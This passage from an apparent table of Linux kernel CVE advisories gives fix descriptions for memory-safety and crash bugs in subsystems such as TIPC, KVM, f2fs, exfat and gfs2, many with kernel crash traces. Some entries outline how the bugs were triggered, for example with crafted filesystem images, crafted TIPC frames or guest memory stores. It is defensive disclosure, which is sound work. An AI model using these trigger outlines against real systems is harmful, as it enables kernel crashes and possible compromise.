(?:?) check_irq_usage+0xe8/0xb70 (?:?) __ocfs2_claim_clusters+0x18d/0x4c0 (fs/ocfs2/suballoc.c:2497) check_path+0x24/0x50 (?:?) rcu_is_watching+0x20/0x50 (?:?) check_prev_add+0xfd/0xd00 (?:?) ocfs2_add_clusters_in_btree+0x17d/0x810 (fs/ocfs2/suballoc.c:?) __folio_batch_add_and_move+0x1f5/0x3d0 (?:?) ocfs2_add_inode_data+0xd9/0x120 (fs/ocfs2/suballoc.c:?) filemap_add_folio+0x105/0x1f0 (?:?) ocfs2_write_begin_nolock+0x29f7/0x2f80 (fs/ocfs2/suballoc.c:3043) ocfs2_read_inode_block+0xb5/0x110 (fs/ocfs2/suballoc.c:?) down_write+0xf5/0x180 (?:?) ocfs2_write_begin+0x180/0x240 (fs/ocfs2/suballoc.c:?) __mark_inode_dirty+0x758/0x9a0 (?:?) inode_to_bdi+0x41/0x90 (?:?) balance_dirty_pages_ratelimited_flags+0xf8/0x1d0 (?:?) generic_perform_write+0x252/0x440 (?:?) mnt_put_write_access_file+0x16/0x70 (?:?) file_update_time_flags+0xe4/0x200 (?:?) ocfs2_file_write_iter+0x80a/0x1320 (fs/ocfs2/suballoc.c:?) lock_acquire+0x184/0x2f0 (?:?) ksys_write+0xd2/0x170 (?:?) apparmor_file_permission+0xf5/0x310 (?:?) read_zero+0x8d/0x140 (?:?) lock_is_held_type+0x8f/0x100 (?:?) |
| CVE-2026-63797 | In the Linux kernel, the following vulnerability has been resolved: rpmsg: char: Fix use-after-free on probe error path rpmsg_chrdev_probe() stores the newly allocated eptdev in the default endpoint's priv pointer before calling rpmsg_chrdev_eptdev_add(). If rpmsg_chrdev_eptdev_add() then fails, its error path frees eptdev while the default endpoint may still dispatch callbacks with the stale priv pointer. Avoid publishing eptdev through the default endpoint until rpmsg_chrdev_eptdev_add() succeeds. Messages received before the priv pointer is published should be ignored by rpmsg_ept_cb(). Flow-control updates can hit rpmsg_ept_flow_cb() in the same window, so make both callbacks return success when priv is NULL. |
| CVE-2026-63798 | In the Linux kernel, the following vulnerability has been resolved: irqchip/imgpdc: Fix resource leak, add missing chained handler cleanup on remove The driver allocates domain generic chips using irq_alloc_domain_generic_chips() during probe and sets up chained handlers using irq_set_chained_handler_and_data(). However, on driver removal, the generic chips are not freed and the chained handlers are not removed. The generic chips remain on the global gc_list and may later be accessed by generic interrupt chip suspend, resume, or shutdown callbacks after the driver has been removed, potentially resulting in a use-after-free and kernel crash. The chained handlers that were installed in probe for peripheral and syswake interrupts are also left dangling, which can lead to spurious interrupts accessing freed memory. Fix these issues by: - Setting IRQ_DOMAIN_FLAG_DESTROY_GC flag in domain->flags, so the core code automatically removes generic chips when irq_domain_remove() is called - Clearing all chained handlers with NULL in pdc_intc_remove() |
| CVE-2026-63800 | In the Linux kernel, the following vulnerability has been resolved: pNFS: Fix use-after-free in pnfs_update_layout() When hitting the NFS_LAYOUT_RETURN branch in pnfs_update_layout(), the code calls pnfs_prepare_to_retry_layoutget(lo). If it succeeds, pnfs_put_layout_hdr(lo) is called before trace_pnfs_update_layout(), which still references 'lo'. This results in a use-after-free when the tracepoint accesses lo's fields. Fix this by moving the tracepoint call before pnfs_put_layout_hdr(lo). |
| CVE-2026-63801 | In the Linux kernel, the following vulnerability has been resolved: tipc: fix slab-use-after-free Read in tipc_aead_decrypt_done tipc_aead_decrypt() goes straight from tipc_bearer_hold(b) to crypto_aead_decrypt(req) without taking a reference on the netns, unlike the encrypt path. When crypto_aead_decrypt() is offloaded asynchronously (e.g. the SIMD aead wrapper queuing to cryptd), the cryptd worker runs tipc_aead_decrypt_done() later. If the bearer's netns is torn down in the meantime, cleanup_net() -> tipc_exit_net() -> tipc_crypto_stop() frees the per-netns tipc_crypto, and the completion then reads it: tipc_aead_decrypt_done() dereferences aead->crypto->stats and aead->crypto->net, and tipc_crypto_rcv_complete() dereferences aead->crypto->aead[] and the node table -- reading freed memory. Decoded KASAN splat (v7.1-rc7, CONFIG_KASAN_INLINE + TIPC + TIPC_CRYPTO): BUG: KASAN: slab-use-after-free in tipc_aead_decrypt_done (net/tipc/crypto.c:999) Read of size 8 at addr ffff8881056258a8 by task kworker/u16:2/51 Workqueue: events_unbound Call Trace: tipc_aead_decrypt_done (net/tipc/crypto.c:999) process_one_work (kernel/workqueue.c:3314) worker_thread (kernel/workqueue.c:3397 kernel/workqueue.c:3478) kthread (kernel/kthread.c:436) ret_from_fork (arch/x86/kernel/process.c:158) ret_from_fork_asm (arch/x86/entry/entry_64.S:245) Allocated by task 169: __kasan_kmalloc (mm/kasan/common.c:398 mm/kasan/common.c:415) tipc_crypto_start (net/tipc/crypto.c:1502) tipc_init_net (net/tipc/core.c:72) ops_init (net/core/net_namespace.c:137) setup_net (net/core/net_namespace.c:446) copy_net_ns (net/core/net_namespace.c:579) create_new_namespaces (kernel/nsproxy.c:132) __x64_sys_unshare (kernel/fork.c:3316) do_syscall_64 (arch/x86/entry/syscall_64.c:63) entry_SYSCALL_64_after_hwframe (arch/x86/entry/entry_64.S:121) Freed by task 8: kfree (mm/slub.c:6566) tipc_exit_net (net/tipc/core.c:119) cleanup_net (net/core/net_namespace.c:704) process_one_work (kernel/workqueue.c:3314) kthread (kernel/kthread.c:436) This is the same class of bug that commit e279024617134 ("net/tipc: fix slab-use-after-free Read in tipc_aead_encrypt_done") fixed for the encrypt side. The encrypt path takes maybe_get_net(aead->crypto->net) before crypto_aead_encrypt() and drops it with put_net() on the synchronous return paths and in tipc_aead_encrypt_done(); the -EINPROGRESS/-EBUSY return keeps the reference for the async callback to release. The decrypt path was left without the equivalent guard. Mirror the encrypt-side fix on the decrypt path: take a net reference before crypto_aead_decrypt() (failing with -ENODEV and the matching bearer put if it cannot be acquired), keep it across the -EINPROGRESS/-EBUSY async return, and drop it with put_net() on the synchronous success/error return and at the end of tipc_aead_decrypt_done(). Reproduced under KASAN on v7.1-rc7: a UDP bearer with a cluster key is flooded with crafted encrypted frames from an unknown peer (driving the cluster-key decrypt path) while the bearer's netns is repeatedly torn down. The completion must run asynchronously to outlive tipc_crypto_stop(); on x86 the stock aesni gcm(aes) now decrypts synchronously, so the async path was exercised via cryptd offload. The unguarded aead->crypto dereference in tipc_aead_decrypt_done() is the unpatched upstream path; tipc_aead_decrypt() still lacks maybe_get_net(aead->crypto->net), so the completion can outlive the free on any config where crypto_aead_decrypt() goes async. Found by 0sec automated security-research tooling (https://0sec.ai). |
| CVE-2026-63802 | In the Linux kernel, the following vulnerability has been resolved: blk-cgroup: fix UAF in __blkcg_rstat_flush() When multiple blkgs in the same blkcg are released concurrently, a use-after-free can occur. The race happens when one blkg's __blkcg_rstat_flush() removes another blkg's iostat entries via llist_del_all(). The second blkg sees an empty list and proceeds to free itself while the first is still iterating over its entries. Move the flush from __blkg_release() (RCU callback) to blkg_release() (before call_rcu). This ensures the RCU grace period waits for any concurrent flush's rcu_read_lock() section to complete before freeing. |
| CVE-2026-63803 | In the Linux kernel, the following vulnerability has been resolved: hdlc_ppp: sync per-proto timers before freeing hdlc state Each PPP control protocol (LCP/IPCP/IPV6CP) embedded in struct ppp registers a timer via timer_setup(). That struct ppp is the hdlc->state allocation, which detach_hdlc_protocol() frees with kfree() in both teardown paths: unregister_hdlc_device() and the re-attach inside attach_hdlc_protocol(). The ppp proto never registered a .detach callback, so detach_hdlc_protocol() performs no timer synchronization before the kfree(). The only cancel, timer_delete(&proto->timer) in ppp_cp_event(), is partial (it does not wait for a running callback) and only runs on the ->CLOSED transition; ppp_stop()/ppp_close() do not sync either. A ppp_timer callback already executing (blocked on ppp->lock) survives the kfree and then dereferences proto->state / ppp->lock in freed memory, leading to a use-after-free. Fix this by adding a .detach helper that calls timer_shutdown_sync() on every per-proto timer. detach_hdlc_protocol() invokes proto->detach(dev) before kfree(hdlc->state), so timer_shutdown_sync() now runs on both free paths. timer_shutdown_sync() is used instead of timer_delete_sync() because the keepalive path re-arms the timer through add_timer()/mod_timer() and shutdown blocks any re-activation during teardown. Initialize the per-protocol timers in ppp_ioctl() when the protocol is attached, and remove the now-redundant timer_setup() from ppp_start(), so that the timers are initialized exactly once at attach time and ppp_timer_release() never operates on uninitialized timer_list structures. attach_hdlc_protocol() uses kmalloc() (not kzalloc), so struct ppp's protos[i].timer is uninitialized garbage until the first timer_setup(); without this init-at-attach, attaching the PPP protocol without ever bringing the device up would leave timer_shutdown_sync() operating on uninitialized memory in .detach. Moving the init out of ppp_start() (which only runs on NETDEV_UP) into the attach path makes the initialization unconditional and avoids initializing the same timer_list twice. This bug was found by static analysis. |
| CVE-2026-63804 | In the Linux kernel, the following vulnerability has been resolved: gfs2: fix use-after-free in gfs2_qd_dealloc gfs2_qd_dealloc(), called as an RCU callback from gfs2_qd_dispose(), accesses the superblock object sdp through qd->qd_sbd after freeing qd. It does so to decrement sd_quota_count and wake up sd_kill_wait. However, by the time the RCU callback runs, gfs2_put_super() may have already freed sdp via free_sbd(). This can happen when gfs2_quota_cleanup() is called during unmount: it disposes of quota objects via call_rcu() and then waits on sd_kill_wait with a 60-second timeout. If the timeout expires, or if gfs2_gl_hash_clear() triggers additional qd_put() calls that schedule more RCU callbacks after the wait completes, gfs2_put_super() will proceed to free the superblock while RCU callbacks referencing it are still pending. Add an rcu_barrier() before free_sbd() in gfs2_put_super() to ensure all pending RCU callbacks (including gfs2_qd_dealloc) have completed before the superblock is freed. |
| CVE-2026-63805 | In the Linux kernel, the following vulnerability has been resolved: crypto: nx - fix nx_crypto_ctx_exit argument nx_crypto_ctx_shash_exit calls nx_crypto_ctx_exit with crypto_shash_ctx(...) but crypto_shash_ctx gives a nx_crypto_ctx *, not a crypto_tfm *. Fix the type in nx_crypto_ctx_exit and drop the bogus crypto_tfm_ctx call. This fixes the following oops: BUG: Unable to handle kernel data access at 0xc0403effffffffc8 Faulting instruction address: 0xc000000000396cb4 Oops: Kernel access of bad area, sig: 11 [#15] Call Trace: nx_crypto_ctx_shash_exit+0x24/0x60 crypto_shash_exit_tfm+0x28/0x40 crypto_destroy_tfm+0x98/0x140 crypto_exit_ahash_using_shash+0x20/0x40 crypto_destroy_tfm+0x98/0x140 hash_release+0x1c/0x30 alg_sock_destruct+0x38/0x60 __sk_destruct+0x48/0x2b0 af_alg_release+0x58/0xb0 __sock_release+0x68/0x150 sock_close+0x20/0x40 __fput+0x110/0x3a0 sys_close+0x48/0xa0 system_call_exception+0x140/0x2d0 system_call_common+0xf4/0x258 .. which came from hardlink(1) opportunistically using AF_ALG. The same problem exists with nx_crypto_ctx_skcipher_exit getting a context it wasn't expecting, but apparently nobody hit that for years. |
| CVE-2026-63806 | In the Linux kernel, the following vulnerability has been resolved: KVM: Replace guest-triggerable BUG_ON() in ioeventfd datamatch with get_unaligned() Drop a BUG_ON() that has been reachable since it was first added, way back in 2009, and instead use get_unaligned() to perform potentially-unaligned accesses. For a given store, KVM x86's emulator tracks the entire value in the destination operand, x86_emulate_ctxt.dst. If the destination is memory, and the target splits multiple pages and/or is emulated MMIO, then KVM handles each fragment independently. E.g. on a page split starting at page offset 0xffc, KVM writes 4 bytes to the first page, then the remaining bytes to the second page, using ctxt->dst as the source for both (with appropriate offsets). If the destination splits a page *and* hits emulated MMIO on the second page, then KVM will complete the write to the first page, then emulate the MMIO access to the second page. If there is a datamatch-enabled ioeventfd at offset 0 of the second page, then KVM will process the remainder of the store as a potential ioeventfd signal. Putting it all together, if the guest emits a store that splits a page starting at page offset N, and the second page has a datamatch-enabled ioeventfd at offset 0, then KVM will check for datamatch using &dst.valptr[N] as the source. Due to dst (and thus dst.valptr) being 32-byte aligned, if N is not aligned to @len, the BUG_ON() fires. E.g. with a 16-byte store at page offset 0xffc, to an ioeventfd of len 8, all initial checks in ioeventfd_in_range() will succeed, and the BUG_ON() fires due to @val being 4-byte aligned, but not 8-byte aligned. ------------[ cut here ]------------ kernel BUG at arch/x86/kvm/../../../virt/kvm/eventfd.c:783! Oops: invalid opcode: 0000 [#1] SMP CPU: 0 UID: 1000 PID: 615 Comm: repro Not tainted 7.1.0-rc2-ff238429d1ea #365 PREEMPT Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 0.0.0 02/06/2015 RIP: 0010:ioeventfd_write+0x6c/0x70 [kvm] Call Trace: <TASK> __kvm_io_bus_write+0x85/0xb0 [kvm] kvm_io_bus_write+0x53/0x80 [kvm] vcpu_mmio_write+0x66/0xf0 [kvm] emulator_read_write_onepage+0x12a/0x540 [kvm] emulator_read_write+0x109/0x2b0 [kvm] x86_emulate_insn+0x4f8/0xfb0 [kvm] x86_emulate_instruction+0x181/0x790 [kvm] kvm_mmu_page_fault+0x313/0x630 [kvm] vmx_handle_exit+0x18a/0x590 [kvm_intel] kvm_arch_vcpu_ioctl_run+0xc81/0x1c90 [kvm] kvm_vcpu_ioctl+0x2d5/0x970 [kvm] __x64_sys_ioctl+0x8a/0xd0 do_syscall_64+0xb7/0x890 entry_SYSCALL_64_after_hwframe+0x4b/0x53 RIP: 0033:0x7f19c931a9bf </TASK> Modules linked in: kvm_intel kvm irqbypass ---[ end trace 0000000000000000 ]--- In a perfect world, the fix would be to simply delete the BUG_ON(), as KVM x86 doesn't perform alignment checks on "normal" memory accesses at CPL0. Sadly, C99 ruins all the fun; while the x86 architecture plays nice, dereferencing an unaligned pointer directly is undefined behavior in C, e.g. triggers splats when running with CONFIG_UBSAN_ALIGNMENT=y. |
| CVE-2026-63807 | In the Linux kernel, the following vulnerability has been resolved: KVM: x86/mmu: Ensure hugepage is in by slot before checking max mapping level When recovering hugepages in the shadow MMU, verify that the base gfn of the shadow page is actually contained within the target memslot, *before* querying the max mapping level given the shadow page's gfn. Failure to pre-check the validity of the gfn can lead to an out-of-bounds access to the slot's lpage_info (which typically manifests as a host #PF because the lpage_info is vmalloc'd) if the guest creates a hugepage mapping (in its PTEs) that extends "below" the bounds of a memslot. When faulting in memory for a guest, and the size of the guest mapping is greater than KVM's (current) max mapping, then KVM will create a "direct" shadow page (direct in that there are no gPTEs to shadow, and so the target gfn is a direct calculation given the base gfn of the shadow page). The hugepage recovery flow looks for such direct shadow pages, as forcing 4KiB mappings when dirty logging generates the guest > host mapping size case. When the 4KiB restriction is lifted, then KVM can replace the shadow page with a hugepage. But if KVM originally used a smaller mapping than the guest because the range of memory covered by the guest hugepage exceeds the bounds of a memslot, then KVM will link a direct shadow page with a gfn that is outside the bounds of the memslot being used to fault in memory. The rmap entry added for the leaf mapping is correct and within bounds, but the gfn of the leaf SPTE's parent shadow page will be out of bounds. BUG: unable to handle page fault for address: ffffc90000806ffc #PF: supervisor read access in kernel mode #PF: error_code(0x0000) - not-present page PGD 100000067 P4D 100000067 PUD 1002a7067 PMD 10612f067 PTE 0 Oops: Oops: 0000 [#1] SMP CPU: 13 UID: 1000 PID: 757 Comm: mmu_stress_test Not tainted 7.1.0-rc1-48ce1e26eace-x86_pir_to_irr_comments-vm #341 PREEMPT Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 0.0.0 02/06/2015 RIP: 0010:kvm_mmu_max_mapping_level+0x79/0x2b0 [kvm] Call Trace: <TASK> kvm_mmu_recover_huge_pages+0x21b/0x320 [kvm] kvm_set_memslot+0x1ee/0x590 [kvm] kvm_set_memory_region.part.0+0x3a1/0x4d0 [kvm] kvm_vm_ioctl+0x9bf/0x15d0 [kvm] __x64_sys_ioctl+0x8a/0xd0 do_syscall_64+0xb7/0xbb0 entry_SYSCALL_64_after_hwframe+0x4b/0x53 RIP: 0033:0x7f21c0f1a9bf </TASK> Don't bother pre-checking the bounds of the potential hugepage, i.e. don't check that e.g. sp->gfn + KVM_PAGES_PER_HPAGE(sp->role.level + 1) is also within the memslot, as the checks performed by kvm_mmu_max_mapping_level() are a superset of the basic bounds checks. I.e. pre-checking the full range would be a dubious micro-optimization. |
| CVE-2026-63808 | In the Linux kernel, the following vulnerability has been resolved: exfat: fix potential use-after-free in exfat_find_dir_entry() In exfat_find_dir_entry(), the buffer_head obtained from exfat_get_dentry() is released with brelse(bh) before the fall-through TYPE_EXTEND branch reads the directory entry through ep (which points into bh->b_data): brelse(bh); if (entry_type == TYPE_EXTEND) { ... len = exfat_extract_uni_name(ep, entry_uniname); ... } After brelse() drops our reference, nothing guarantees that the underlying page backing bh->b_data remains valid for the subsequent exfat_extract_uni_name() read. This is the same pattern fixed in commit fc961522ddbd ("exfat: Fix potential use after free in exfat_load_upcase_table()"). Move brelse(bh) so it runs after ep is no longer dereferenced on each branch. Confirmed on QEMU x86_64 with CONFIG_KASAN=y + CONFIG_DEBUG_PAGEALLOC=y + CONFIG_PAGE_POISONING=y on linux-next, using a crafted exFAT image (long filename with same-hash collisions forcing the TYPE_EXTEND path). With a debug-only invalidate_bdev() inserted between brelse(bh) and the ep read to make the stale-deref window deterministic, the unpatched kernel faults: BUG: KASAN: use-after-free in exfat_find_dir_entry+0x133b/0x15a0 BUG: unable to handle page fault for address: ffff88801a5fa0c2 Oops: 0000 [#1] SMP DEBUG_PAGEALLOC KASAN NOPTI RIP: 0010:exfat_find_dir_entry+0x1188/0x15a0 With this patch applied, the same instrumented harness completes cleanly under the same sanitizer stack. I have not reproduced a crash on an uninstrumented kernel under ordinary reclaim; the instrumented A/B establishes the lifetime violation and that the patch closes it, not an unaided triggerability claim. |
| CVE-2026-63809 | In the Linux kernel, the following vulnerability has been resolved: bpf: use kvfree() for replaced sysctl write buffer proc_sys_call_handler() allocates its temporary sysctl buffer with kvzalloc() and passes it to __cgroup_bpf_run_filter_sysctl(). Since kvzalloc() may fall back to vmalloc() for large allocations, freeing that buffer with kfree() is wrong and can corrupt memory. Use kvfree() to safely handle both kmalloc and kvzalloc()/vmalloc allocations. The bug was first flagged by an experimental analysis tool we are developing for kernel memory-management bugs while analyzing v6.13-rc1. The tool is still under development and is not yet publicly available. Manual inspection confirms that the bug is still present in v7.1-rc5. Reproduced the bug based on v7.1-rc4 in a QEMU x86_64 guest booted with KASAN and CONFIG_FAILSLAB enabled. To exercise the replacement path, the test tree also included the accompanying fix for the stale ret == 1 check in __cgroup_bpf_run_filter_sysctl(). The reproducer confines failslab injections to the proc_sys_call_handler() range, uses stacktrace-depth=32, and injects fail-nth=1 while writing 8191 bytes to /proc/sys/kernel/domainname from a task in the target cgroup. Under that setup, fail-nth=1 triggered the fault: BUG: unable to handle page fault for address: ffffeb0200024d48 #PF: supervisor read access in kernel mode #PF: error_code(0x0000) - not-present page PGD 0 P4D 0 Oops: Oops: 0000 SMP KASAN NOPTI CPU: 2 UID: 0 PID: 209 Comm: repro_proc_sys_ Not tainted 7.1.0-rc4-00686-g97625979a5d4 PREEMPT(lazy) Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 1.15.0-1 04/01/2014 RIP: 0010:kfree+0x6e/0x510 ... Call Trace: <TASK> ? __cgroup_bpf_run_filter_sysctl+0x626/0xc30 __cgroup_bpf_run_filter_sysctl+0x74d/0xc30 ? __pfx___cgroup_bpf_run_filter_sysctl+0x10/0x10 ? srso_return_thunk+0x5/0x5f ? __kvmalloc_node_noprof+0x345/0x870 ? proc_sys_call_handler+0x250/0x480 ? srso_return_thunk+0x5/0x5f proc_sys_call_handler+0x3a2/0x480 ? __pfx_proc_sys_call_handler+0x10/0x10 ? srso_return_thunk+0x5/0x5f ? selinux_file_permission+0x39f/0x500 ? srso_return_thunk+0x5/0x5f ? lock_is_held_type+0x9e/0x120 vfs_write+0x98e/0x1000 ... </TASK> With this fix applied on top of the same test setup, rerunning the reproducer with fail-nth=1 yields no corresponding Oops reports. |
| CVE-2026-63810 | In the Linux kernel, the following vulnerability has been resolved: block: Avoid mounting the bdev pseudo-filesystem in userspace The bdev pseudo-filesystem is an internal kernel filesystem with which userspace should not interfere. Unregister it so that userspace cannot even attempt to mount it. This fixes a bug [1] that occurs when attempting to access files, because the system call move_mount() uses pointers declared in the inode_operations structure, which for the bdev pseudo-filesystem are always equal to 0. `inode->i_op = &empty_iops;` [1] BUG: kernel NULL pointer dereference, address: 0000000000000000 #PF: supervisor instruction fetch in kernel mode #PF: error_code(0x0010) - not-present page PGD 23380067 P4D 23380067 PUD 23381067 PMD 0 Oops: 0010 [#1] PREEMPT SMP KASAN NOPTI CPU: 2 PID: 17125 Comm: syz-executor.0 Not tainted 6.1.155-syzkaller-00350-g84221fde2681 #0 Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.12.0-1 04/01/2014 RIP: 0010:0x0 Call Trace: <TASK> lookup_open.isra.0+0x700/0x1180 fs/namei.c:3460 open_last_lookups fs/namei.c:3550 [inline] path_openat+0x953/0x2700 fs/namei.c:3780 do_filp_open+0x1c5/0x410 fs/namei.c:3810 do_sys_openat2+0x171/0x4d0 fs/open.c:1318 do_sys_open fs/open.c:1334 [inline] __do_sys_openat fs/open.c:1350 [inline] __se_sys_openat fs/open.c:1345 [inline] __x64_sys_openat+0x13c/0x1f0 fs/open.c:1345 do_syscall_x64 arch/x86/entry/common.c:51 [inline] do_syscall_64+0x35/0x80 arch/x86/entry/common.c:81 entry_SYSCALL_64_after_hwframe+0x6e/0xd8 Found by Linux Verification Center (linuxtesting.org) with Syzkaller. |
| CVE-2026-63811 | In the Linux kernel, the following vulnerability has been resolved: f2fs: read COW data with the original inode during atomic write When updating an atomic-write file, f2fs_write_begin() may read the previously written data back from the COW inode: prepare_atomic_write_begin() locates the block in the COW inode and sets use_cow, and the read bio is then built with the COW inode: f2fs_submit_page_read(use_cow ? F2FS_I(inode)->cow_inode : inode, ...); and f2fs_grab_read_bio() decides whether to schedule fs-layer decryption (STEP_DECRYPT) for the bio based on that inode via fscrypt_inode_uses_fs_layer_crypto(). However, the folio being filled belongs to the original inode (folio->mapping->host == inode), and the data stored in the COW block was encrypted (or left as plaintext) using the original inode's context, not the COW inode's -- see f2fs_encrypt_one_page(), which keys off fio->page->mapping->host. fscrypt_decrypt_pagecache_blocks() likewise operates on folio->mapping->host. The COW inode is created as a tmpfile in the parent directory and inherits its encryption policy from there. With test_dummy_encryption the newly created COW inode gets the dummy policy and becomes encrypted, while a pre-existing regular file -- created before the policy applied, e.g. already present in the on-disk image -- stays unencrypted. The read path then sets STEP_DECRYPT based on the encrypted COW inode and calls fscrypt_decrypt_pagecache_blocks() on a folio whose host (the unencrypted original inode) has a NULL ->i_crypt_info, dereferencing it: Oops: general protection fault, probably for non-canonical address ... KASAN: null-ptr-deref in range [0x0000000000000008-0x000000000000000f] RIP: 0010:fscrypt_decrypt_pagecache_blocks+0xa0/0x310 Workqueue: f2fs_post_read_wq f2fs_post_read_work Call Trace: fscrypt_decrypt_bio+0x1eb/0x340 f2fs_post_read_work+0xba/0x140 process_one_work+0x91c/0x1a40 worker_thread+0x677/0xe90 kthread+0x2bc/0x3a0 The COW inode is only needed to locate the on-disk block, and that block address is already resolved into @blkaddr by prepare_atomic_write_begin() via __find_data_block(cow_inode, ...); f2fs_submit_page_read() then reads from that physical @blkaddr directly, so the inode argument only selects the post-read crypto context, not which block is fetched. Reading with @inode therefore returns the same (latest, not-yet-committed) COW data, while making both the fs-layer decryption decision and the inline crypto path use the correct (original inode's) key. With the COW inode no longer used at the read site, the use_cow flag has no remaining consumer; drop it from f2fs_write_begin() and prepare_atomic_write_begin(). |
| CVE-2026-63812 | In the Linux kernel, the following vulnerability has been resolved: f2fs: fix incorrect FI_NO_EXTENT handling in __destroy_extent_node() When __destroy_extent_node() sets the inode flag FI_NO_EXTENT, it does not reset the length of the largest extent to 0 and update the inode folio. Since modifications to the extent tree are disallowed afterward, the cached largest extent may become stale. This can trigger the following error in xfstests generic/388: F2FS-fs (dm-0): sanity_check_extent_cache: inode (ino=1761) extent info [220057, 57, 6] is incorrect, run fsck to fix In the f2fs_drop_inode path, __destroy_extent_node() does not need to guarantee that et->node_cnt is 0, because concurrency with writeback is expected in this path, and writeback may update the extent cache. This patch reverts commit ed78aeebef05 ("f2fs: fix node_cnt race between extent node destroy and writeback"), and remove the unnecessary zero check of et->node_cnt. |
| CVE-2026-63814 | In the Linux kernel, the following vulnerability has been resolved: f2fs: validate ACL entry sizes in f2fs_acl_from_disk() f2fs_acl_count() only validates the aggregate ACL xattr length. A malformed ACL can still place ACL_USER or ACL_GROUP in a slot that only contains struct f2fs_acl_entry_short bytes, and f2fs_acl_from_disk() then reads entry->e_id before verifying that a full entry fits. Require a short entry before reading e_tag and e_perm, and require a full entry before reading e_id for ACL_USER and ACL_GROUP. Return -EFSCORRUPTED from these new truncated-entry checks, while keeping the pre-existing -EINVAL paths unchanged. Validation reproduced this kernel report: KASAN slab-out-of-bounds in __f2fs_get_acl+0x6fb/0x7e0 RIP: 0033:0x7f4b835ea7aa The buggy address belongs to the object at ffff888114589960 which belongs to the cache kmalloc-8 of size 8 The buggy address is located 0 bytes to the right of allocated 8-byte region [ffff888114589960, ffff888114589968) Read of size 4 Call trace: dump_stack_lvl+0x66/0xa0 (?:?) print_report+0xce/0x630 (?:?) __f2fs_get_acl+0x6fb/0x7e0 (fs/f2fs/acl.c:169) srso_alias_return_thunk+0x5/0xfbef5 (?:?) __virt_addr_valid+0x224/0x430 (?:?) kasan_report+0xe0/0x110 (?:?) __f2fs_get_acl+0x5/0x7e0 (fs/f2fs/acl.c:169) __get_acl+0x281/0x380 (?:?) vfs_get_acl+0x10b/0x190 (?:?) do_get_acl+0x2a/0x410 (?:?) do_get_acl+0x9/0x410 (?:?) do_getxattr+0xe8/0x260 (?:?) filename_getxattr+0xd1/0x140 (?:?) do_getname+0x2d/0x2d0 (?:?) path_getxattrat+0x16c/0x200 (?:?) lock_release+0xc8/0x290 (?:?) cgroup_update_frozen+0x9d/0x320 (?:?) lockdep_hardirqs_on_prepare+0xea/0x1a0 (?:?) trace_hardirqs_on+0x1a/0x170 (?:?) _raw_spin_unlock_irq+0x28/0x50 (?:?) do_syscall_64+0x115/0x6a0 (arch/x86/entry/syscall_64.c:87) entry_SYSCALL_64_after_hwframe+0x77/0x7f (?:?) |
| CVE-2026-63815 | In the Linux kernel, the following vulnerability has been resolved: f2fs: bound i_inline_xattr_size for non-inline-xattr inodes When the flexible_inline_xattr feature is enabled, do_read_inode() loads the on-disk i_inline_xattr_size unconditionally: if (f2fs_sb_has_flexible_inline_xattr(sbi)) fi->i_inline_xattr_size = le16_to_cpu(ri->i_inline_xattr_size); but sanity_check_inode() only range-checks it when the inode also has the FI_INLINE_XATTR flag set. An inode that carries an inline dentry or inline data but not FI_INLINE_XATTR -- the normal layout for an inline directory -- therefore keeps a fully attacker-controlled i_inline_xattr_size from a crafted image. get_inline_xattr_addrs() returns that value with no flag gating, so it feeds the inode geometry: MAX_INLINE_DATA() = 4 * (CUR_ADDRS_PER_INODE - i_inline_xattr_size - 1) NR_INLINE_DENTRY() = MAX_INLINE_DATA() * BITS_PER_BYTE / (...) addrs_per_page() = CUR_ADDRS_PER_INODE - i_inline_xattr_size A large i_inline_xattr_size drives MAX_INLINE_DATA() and NR_INLINE_DENTRY() negative, so make_dentry_ptr_inline() sets d->max (int) to a negative value. The inline directory walk then compares an unsigned long bit_pos against that negative d->max, which is promoted to a huge unsigned bound, and reads far past the inline area: while (bit_pos < d->max) /* fs/f2fs/dir.c */ ... test_bit_le(bit_pos, d->bitmap) / d->dentry[bit_pos] ... Mounting a crafted image and reading such a directory triggers an out-of-bounds read in f2fs_fill_dentries(); the same underflow also corrupts ADDRS_PER_INODE for regular files. Validate i_inline_xattr_size against MAX_INLINE_XATTR_SIZE whenever the flexible_inline_xattr feature is enabled -- i.e. whenever the value is loaded from disk and consumed -- and keep the lower MIN_INLINE_XATTR_SIZE bound gated on inodes that actually carry an inline xattr, so legitimate inodes with i_inline_xattr_size == 0 are still accepted. |
| CVE-2026-63816 | In the Linux kernel, the following vulnerability has been resolved: f2fs: atomic: fix UAF issue on f2fs_inode_info.atomic_inode - ioctl(F2FS_IOC_GARBAGE_COLLECT_RANGE) - shrink - f2fs_gc - gc_data_segment - ra_data_block(cow_inode) - mapping = F2FS_I(inode)->atomic_inode->i_mapping : f2fs_is_cow_file(cow_inode) is true - f2fs_evict_inode(atomic_inode) - clear_inode_flag(fi->cow_inode, FI_COW_FILE) - F2FS_I(fi->cow_inode)->atomic_inode = NULL ... - truncate_inode_pages_final(atomic_inode) - f2fs_grab_cache_folio(mapping) : create folio in atomic_inode->mapping - clear_inode(atomic_inode) - BUG_ON(atomic_inode->i_data.nrpages) We need to add a reference on fi->atomic_inode before using its mapping field during garbage collection, otherwise, it will cause UAF issue. |
| CVE-2026-63817 | In the Linux kernel, the following vulnerability has been resolved: f2fs: validate compress cache inode only when enabled F2FS_COMPRESS_INO() uses NM_I(sbi)->max_nid as the synthetic inode number for the compressed page cache inode. That inode only exists when the compress_cache mount option is enabled. When compress_cache is disabled, max_nid is outside the valid inode range. A corrupted directory entry that points to ino == max_nid should therefore be rejected by f2fs_check_nid_range(). However, is_meta_ino() currently treats F2FS_COMPRESS_INO() as a meta inode unconditionally, so f2fs_iget() bypasses do_read_inode() and its nid range check, and instantiates a fake internal inode instead. Gate the compressed cache inode case on COMPRESS_CACHE, matching f2fs_init_compress_inode(). With compress_cache disabled, ino == max_nid now follows the normal inode path and is rejected as an out-of-range nid. |
